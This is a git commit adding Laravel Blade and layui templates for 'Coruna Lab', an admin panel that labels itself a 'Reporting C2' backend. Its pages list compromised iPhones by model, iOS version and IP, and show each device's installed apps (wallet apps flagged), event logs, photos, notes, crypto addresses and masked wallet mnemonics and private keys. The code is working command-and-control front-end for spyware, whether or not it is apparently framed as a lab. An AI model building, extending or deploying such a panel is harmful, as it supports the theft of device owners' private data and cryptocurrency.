This commit is contained in:
hashbro
2026-08-04 05:00:42 +08:00
commit ea0be57180
304 changed files with 18921 additions and 0 deletions
+11
View File
@@ -0,0 +1,11 @@
@import 'tailwindcss';
@source '../../vendor/laravel/framework/src/Illuminate/Pagination/resources/views/*.blade.php';
@source '../../storage/framework/views/*.php';
@source '../**/*.blade.php';
@source '../**/*.js';
@theme {
--font-sans: 'Instrument Sans', ui-sans-serif, system-ui, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji',
'Segoe UI Symbol', 'Noto Color Emoji';
}
+1
View File
@@ -0,0 +1 @@
import './bootstrap';
+4
View File
@@ -0,0 +1,4 @@
import axios from 'axios';
window.axios = axios;
window.axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest';
@@ -0,0 +1,36 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>@yield('title', 'Coruna Lab')</title>
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0">
<link rel="stylesheet" href="{{ asset('static/layuiadmin/layui/css/layui.css') }}" media="all">
<link rel="stylesheet" href="{{ asset('static/layuiadmin/style/admin.css') }}" media="all">
<style>
.json-block{background:#1e1e1e;color:#dcdcdc;padding:12px;overflow:auto;max-height:480px;border-radius:2px;font-size:12px}
.wrap{word-break:break-all;max-width:640px}
.wallet-row{background:#fff7e6}
.tag-wallet{display:inline-block;background:#FFB800;color:#fff;padding:0 6px;border-radius:2px;font-size:12px}
.photo-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(140px,1fr));gap:12px}
.photo-card{display:block;background:#fff;padding:8px;text-align:center;color:#333;border:1px solid #f0f0f0}
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
</style>
@stack('head')
</head>
<body>
<div class="layui-fluid">
@yield('content')
</div>
<script src="{{ asset('static/layuiadmin/layui/layui.js') }}"></script>
<script>
layui.config({
base: @json(rtrim(asset('static/layuiadmin'), '/').'/')
}).extend({
index: 'lib/index'
}).use(['index'], function(){});
</script>
@stack('scripts')
</body>
</html>
@@ -0,0 +1,85 @@
@extends('admin.content')
@section('title', '设备列表')
@section('content')
<div class="layui-card">
<div class="layui-card-header">设备列表</div>
<div class="layui-card-body">
<form class="layui-form layui-form-pane" method="get" style="margin-bottom: 15px;">
<div class="layui-form-item" style="margin-bottom:0;">
<div class="layui-inline">
<label class="layui-form-label" style="width:90px;">DeviceKey</label>
<div class="layui-input-inline" style="width:160px;">
<input type="text" name="device_key" value="{{ $filters['device_key'] ?? '' }}" placeholder="device key" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width:70px;">Model</label>
<div class="layui-input-inline" style="width:120px;">
<input type="text" name="model" value="{{ $filters['model'] ?? '' }}" placeholder="iPhone9,1" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width:50px;">IP</label>
<div class="layui-input-inline" style="width:130px;">
<input type="text" name="ip" value="{{ $filters['ip'] ?? '' }}" placeholder="ip" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width:50px;">iOS</label>
<div class="layui-input-inline" style="width:100px;">
<input type="text" name="ios" value="{{ $filters['ios'] ?? '' }}" placeholder="15.8" class="layui-input">
</div>
</div>
<div class="layui-inline">
<label class="layui-form-label" style="width:90px;">安装时间</label>
<div class="layui-input-inline" style="width:130px;">
<input type="date" name="installed_from" value="{{ $filters['installed_from'] ?? '' }}" class="layui-input">
</div>
<div class="layui-form-mid">-</div>
<div class="layui-input-inline" style="width:130px;">
<input type="date" name="installed_to" value="{{ $filters['installed_to'] ?? '' }}" class="layui-input">
</div>
</div>
<div class="layui-inline">
<button class="layui-btn" type="submit">搜索</button>
<a class="layui-btn layui-btn-primary" href="{{ route('admin.devices.index') }}">重置</a>
</div>
</div>
</form>
<table class="layui-table">
<thead>
<tr>
<th>ID</th>
<th>Device</th>
<th>Model</th>
<th>iOS</th>
<th>IP</th>
<th>安装时间</th>
<th>更新时间</th>
<th>操作</th>
</tr>
</thead>
<tbody>
@forelse ($devices as $d)
<tr>
<td>{{ $d->id }}</td>
<td><code>{{ $d->device_id }}</code></td>
<td>{{ $d->device_model ?: '—' }}</td>
<td>{{ $d->ios_version ?: '—' }}</td>
<td>{{ $d->ip ?: '—' }}</td>
<td>{{ $d->created_at }}</td>
<td>{{ $d->updated_at }}</td>
<td><a class="layui-btn layui-btn-normal layui-btn-xs" href="{{ route('admin.devices.show', $d) }}">详情</a></td>
</tr>
@empty
<tr><td colspan="8">暂无设备</td></tr>
@endforelse
</tbody>
</table>
{{ $devices->links() }}
</div>
</div>
@endsection
@@ -0,0 +1,140 @@
@extends('admin.content')
@section('title', '设备 '.$device->device_id)
@section('content')
<div class="layui-card">
<div class="layui-card-header">
设备 <code>{{ $device->device_id }}</code>
<a class="layui-btn layui-btn-primary layui-btn-xs" style="float:right;margin-top:8px;" href="{{ route('admin.devices.index') }}">返回列表</a>
</div>
<div class="layui-card-body">
<table class="layui-table" style="margin-bottom: 16px;">
<tr>
<th width="140">Device</th>
<td><code>{{ $device->device_id }}</code></td>
<th width="140">Model</th>
<td>{{ $device->device_model ?: '—' }}</td>
</tr>
<tr>
<th>iOS</th>
<td>{{ $device->ios_version ?: '—' }}</td>
<th>IP</th>
<td>{{ $device->ip ?: '—' }}</td>
</tr>
<tr>
<th>User-Agent</th>
<td colspan="3" class="wrap">{{ $device->user_agent ?: '—' }}</td>
</tr>
<tr>
<th>安装 / 更新</th>
<td colspan="3">{{ $device->created_at }} / {{ $device->updated_at }}</td>
</tr>
</table>
<div class="layui-tab layui-tab-brief">
<ul class="layui-tab-title">
@php $tabs = ['apps'=>'应用列表','events'=>'日志','photos'=>'相册','notes'=>'备忘录','wallets'=>'钱包']; @endphp
@foreach ($tabs as $key => $label)
<li class="{{ $tab === $key ? 'layui-this' : '' }}">
<a href="{{ route('admin.devices.show', [$device, 'tab' => $key]) }}">{{ $label }}</a>
</li>
@endforeach
</ul>
</div>
@if ($tab === 'apps')
<table class="layui-table">
<thead><tr><th>名称</th><th>Bundle</th><th>版本</th><th>Wallet</th></tr></thead>
<tbody>
@forelse ($apps as $app)
<tr class="{{ $app->is_wallet ? 'wallet-row' : '' }}">
<td>{{ $app->name ?: '—' }}</td>
<td><code>{{ $app->bundle_id }}</code></td>
<td>{{ $app->version ?: '—' }}</td>
<td>@if($app->is_wallet)<span class="tag-wallet">wallet</span>@else—@endif</td>
</tr>
@empty
<tr><td colspan="4">暂无应用</td></tr>
@endforelse
</tbody>
</table>
@elseif ($tab === 'events')
<table class="layui-table">
<thead><tr><th>时间</th><th>Event</th><th>Desc</th><th>Context</th></tr></thead>
<tbody>
@forelse ($events as $ev)
<tr>
<td style="white-space:nowrap;">{{ $ev->created_at }}</td>
<td><code>{{ $ev->event_name ?: '—' }}</code></td>
<td class="wrap">{{ $ev->desc ?: '—' }}</td>
<td class="wrap"><pre class="json-block" style="margin:0;max-height:160px;overflow:auto;">{{ $ev->context_json ? json_encode($ev->context_json, JSON_PRETTY_PRINT|JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES) : '—' }}</pre></td>
</tr>
@empty
<tr><td colspan="4">暂无日志</td></tr>
@endforelse
</tbody>
</table>
@elseif ($tab === 'photos')
<div class="photo-grid">
@forelse ($photos as $photo)
<a class="photo-card" href="{{ route('admin.devices.photo', [$device, $photo->id]) }}" target="_blank">
<img src="{{ route('admin.devices.photo', [$device, $photo->id]) }}" alt="{{ $photo->sha256 }}">
<div>{{ $photo->size }} B</div>
</a>
@empty
<p>暂无相册</p>
@endforelse
</div>
@elseif ($tab === 'notes')
<table class="layui-table">
<thead><tr><th>Title</th><th>Body</th><th>When</th></tr></thead>
<tbody>
@forelse ($notes as $note)
<tr>
<td>{{ $note->title ?: '—' }}</td>
<td class="wrap">{{ \Illuminate\Support\Str::limit($note->body, 400) }}</td>
<td>{{ $note->created_at }}</td>
</tr>
@empty
<tr><td colspan="3">暂无备忘录</td></tr>
@endforelse
</tbody>
</table>
@else
<div class="layui-elem-quote">Addresses</div>
<table class="layui-table">
<thead><tr><th>Chain</th><th>Address</th><th>Balance</th><th>Symbol</th></tr></thead>
<tbody>
@forelse ($addresses as $addr)
<tr>
<td>{{ $addr->chain ?: '—' }}</td>
<td><code>{{ $addr->address }}</code></td>
<td>{{ $addr->balance ?: '—' }}</td>
<td>{{ $addr->symbol ?: '—' }}</td>
</tr>
@empty
<tr><td colspan="4">暂无地址</td></tr>
@endforelse
</tbody>
</table>
<div class="layui-elem-quote">Secrets(打码)</div>
<table class="layui-table">
<thead><tr><th>Source</th><th>Mnemonic</th><th>Privkey</th><th>When</th></tr></thead>
<tbody>
@forelse ($maskedWallets as $w)
<tr>
<td>{{ $w['source_app'] ?: '—' }}</td>
<td><code>{{ $w['mnemonic'] }}</code></td>
<td><code>{{ $w['privkey'] }}</code></td>
<td>{{ $w['created_at'] }}</td>
</tr>
@empty
<tr><td colspan="4">暂无钱包密钥</td></tr>
@endforelse
</tbody>
</table>
@endif
</div>
</div>
@endsection
@@ -0,0 +1,58 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>登入 - Coruna Lab</title>
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0">
<link rel="stylesheet" href="{{ asset('static/layuiadmin/layui/css/layui.css') }}" media="all">
<link rel="stylesheet" href="{{ asset('static/layuiadmin/style/admin.css') }}" media="all">
<link rel="stylesheet" href="{{ asset('static/layuiadmin/style/login.css') }}" media="all">
</head>
<body>
<div class="layadmin-user-login layadmin-user-display-show" id="LAY-user-login">
<div class="layadmin-user-login-main">
<div class="layadmin-user-login-box layadmin-user-login-header">
<h2>Coruna Lab</h2>
<p>Reporting C2 管理后台</p>
</div>
<form class="layadmin-user-login-box layadmin-user-login-body layui-form" method="post" action="{{ route('admin.login.submit') }}">
@csrf
@if ($errors->any())
<div class="layui-form-item">
<div class="layui-bg-red" style="padding:8px 12px;border-radius:2px;">{{ $errors->first() }}</div>
</div>
@endif
<div class="layui-form-item">
<label class="layadmin-user-login-icon layui-icon layui-icon-username" for="LAY-user-login-username"></label>
<input type="text" name="username" id="LAY-user-login-username" value="{{ old('username', 'admin') }}" lay-verify="required" placeholder="用户名" class="layui-input" autofocus>
</div>
<div class="layui-form-item">
<label class="layadmin-user-login-icon layui-icon layui-icon-password" for="LAY-user-login-password"></label>
<input type="password" name="password" id="LAY-user-login-password" lay-verify="required" placeholder="密码" class="layui-input">
</div>
<div class="layui-form-item" style="margin-bottom: 20px;">
<input type="checkbox" name="remember" value="1" lay-skin="primary" title="记住密码">
</div>
<div class="layui-form-item">
<button class="layui-btn layui-btn-fluid" lay-submit type="submit">登 入</button>
</div>
</form>
</div>
<div class="layui-trans layadmin-user-login-footer">
<p>Coruna Lab · 仅 reporting,无 /kill</p>
</div>
</div>
<script src="{{ asset('static/layuiadmin/layui/layui.js') }}"></script>
<script>
layui.config({
base: @json(rtrim(asset('static/layuiadmin'), '/').'/')
}).extend({
index: 'lib/index'
}).use(['form'], function(){
layui.form.render();
});
</script>
</body>
</html>
@@ -0,0 +1,36 @@
@extends('admin.content')
@section('title', '原始日志')
@section('content')
<div class="layui-card">
<div class="layui-card-header">原始日志(public/log/c2)</div>
<div class="layui-card-body">
<p class="layui-word-aux" style="margin-bottom:12px;">按日文件落盘,不再写入数据库。</p>
<table class="layui-table">
<thead>
<tr>
<th>文件</th>
<th>大小</th>
<th>修改时间</th>
<th></th>
</tr>
</thead>
<tbody>
@forelse ($files as $f)
<tr>
<td><code>{{ $f['name'] }}</code></td>
<td>{{ number_format($f['size']) }} B</td>
<td>{{ $f['mtime'] }}</td>
<td>
<a class="layui-btn layui-btn-xs" href="{{ route('admin.logs.show', ['file' => $f['name'], 'path' => $path, 'device' => $device]) }}">查看</a>
</td>
</tr>
@empty
<tr><td colspan="4">暂无日志文件</td></tr>
@endforelse
</tbody>
</table>
</div>
</div>
@endsection
@@ -0,0 +1,31 @@
@extends('admin.content')
@section('title', '日志 '.$file)
@section('content')
<div class="layui-card">
<div class="layui-card-header">
{{ $file }}
<a class="layui-btn layui-btn-primary layui-btn-xs" style="float:right;margin-top:8px;" href="{{ route('admin.logs.index') }}">返回</a>
</div>
<div class="layui-card-body">
<form class="layui-form" method="get" style="margin-bottom: 15px;">
<div class="layui-inline">
<input type="text" name="device" value="{{ $device ?? '' }}" placeholder="device key" class="layui-input" style="width:200px;">
</div>
<div class="layui-inline">
<input type="text" name="path" value="{{ $path ?? '' }}" placeholder="path 关键字" class="layui-input" style="width:220px;">
</div>
<div class="layui-inline">
<button class="layui-btn" type="submit">筛选</button>
</div>
</form>
<p class="layui-word-aux">共 {{ count($entries) }} 条(新→旧)</p>
@forelse ($entries as $entry)
<pre class="json-block" style="margin-bottom:12px;">{{ $entry }}</pre>
@empty
<p>无匹配记录</p>
@endforelse
</div>
</div>
@endsection
@@ -0,0 +1,132 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Coruna Lab — layuiAdmin</title>
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0">
<meta name="csrf-token" content="{{ csrf_token() }}">
<link rel="stylesheet" href="{{ asset('static/layuiadmin/layui/css/layui.css') }}" media="all">
<link rel="stylesheet" href="{{ asset('static/layuiadmin/style/admin.css') }}" media="all">
</head>
<body class="layui-layout-body">
<form id="admin-logout-form" method="post" action="{{ route('admin.logout') }}" style="display:none;">@csrf</form>
<div id="LAY_app">
<div class="layui-layout layui-layout-admin">
<div class="layui-header">
<ul class="layui-nav layui-layout-left">
<li class="layui-nav-item layadmin-flexible" lay-unselect>
<a href="javascript:;" layadmin-event="flexible" title="侧边伸缩">
<i class="layui-icon layui-icon-shrink-right" id="LAY_app_flexible"></i>
</a>
</li>
<li class="layui-nav-item" lay-unselect>
<a href="javascript:;" layadmin-event="refresh" title="刷新">
<i class="layui-icon layui-icon-refresh-3"></i>
</a>
</li>
</ul>
<ul class="layui-nav layui-layout-right" lay-filter="layadmin-layout-right">
<li class="layui-nav-item layui-hide-xs" lay-unselect>
<a href="javascript:;" layadmin-event="theme">
<i class="layui-icon layui-icon-theme"></i>
</a>
</li>
<li class="layui-nav-item layui-hide-xs" lay-unselect>
<a href="javascript:;" layadmin-event="fullscreen">
<i class="layui-icon layui-icon-screen-full"></i>
</a>
</li>
<li class="layui-nav-item" lay-unselect>
<a href="javascript:;">
<cite>{{ auth('admin')->user()->username ?? 'admin' }}</cite>
</a>
<dl class="layui-nav-child">
<dd layadmin-event="logout" style="text-align: center;"><a>退出</a></dd>
</dl>
</li>
</ul>
</div>
<div class="layui-side layui-side-menu">
<div class="layui-side-scroll">
<div class="layui-logo" lay-href="{{ route('admin.devices.index') }}">
<span>Coruna Lab</span>
</div>
<ul class="layui-nav layui-nav-tree" lay-shrink="all" id="LAY-system-side-menu" lay-filter="layadmin-system-side-menu">
<li data-name="devices" class="layui-nav-item layui-nav-itemed">
<a href="javascript:;" lay-tips="设备" lay-direction="2">
<i class="layui-icon layui-icon-cellphone"></i>
<cite>设备管理</cite>
</a>
<dl class="layui-nav-child">
<dd data-name="device-list" class="layui-this">
<a lay-href="{{ route('admin.devices.index') }}">设备列表</a>
</dd>
</dl>
</li>
<li data-name="logs" class="layui-nav-item">
<a href="javascript:;" lay-tips="日志" lay-direction="2">
<i class="layui-icon layui-icon-log"></i>
<cite>原始日志</cite>
</a>
<dl class="layui-nav-child">
<dd data-name="raw-logs">
<a lay-href="{{ route('admin.logs.index') }}">日志列表</a>
</dd>
</dl>
</li>
</ul>
</div>
</div>
<div class="layadmin-pagetabs" id="LAY_app_tabs">
<div class="layui-icon layadmin-tabs-control layui-icon-prev" layadmin-event="leftPage"></div>
<div class="layui-icon layadmin-tabs-control layui-icon-next" layadmin-event="rightPage"></div>
<div class="layui-icon layadmin-tabs-control layui-icon-down">
<ul class="layui-nav layadmin-tabs-select" lay-filter="layadmin-pagetabs-nav">
<li class="layui-nav-item" lay-unselect>
<a href="javascript:;"></a>
<dl class="layui-nav-child layui-anim-fadein">
<dd layadmin-event="closeThisTabs"><a href="javascript:;">关闭当前标签页</a></dd>
<dd layadmin-event="closeOtherTabs"><a href="javascript:;">关闭其它标签页</a></dd>
<dd layadmin-event="closeAllTabs"><a href="javascript:;">关闭全部标签页</a></dd>
</dl>
</li>
</ul>
</div>
<div class="layui-tab" lay-unauto lay-allowClose="true" lay-filter="layadmin-layout-tabs">
<ul class="layui-tab-title" id="LAY_app_tabsheader">
<li lay-id="{{ route('admin.devices.index') }}" lay-attr="{{ route('admin.devices.index') }}" class="layui-this">
<i class="layui-icon layui-icon-home"></i>
</li>
</ul>
</div>
</div>
<div class="layui-body" id="LAY_app_body">
<div class="layadmin-tabsbody-item layui-show">
<iframe src="{{ route('admin.devices.index') }}" frameborder="0" class="layadmin-iframe"></iframe>
</div>
</div>
<div class="layadmin-body-shade" layadmin-event="shade"></div>
</div>
</div>
<script src="{{ asset('static/layuiadmin/layui/layui.js') }}"></script>
<script>
layui.config({
base: @json(rtrim(asset('static/layuiadmin'), '/').'/')
}).extend({
index: 'lib/index'
}).use(['index', 'admin'], function(){
var admin = layui.admin;
admin.events.logout = function(){
document.getElementById('admin-logout-form').submit();
};
});
</script>
</body>
</html>
File diff suppressed because one or more lines are too long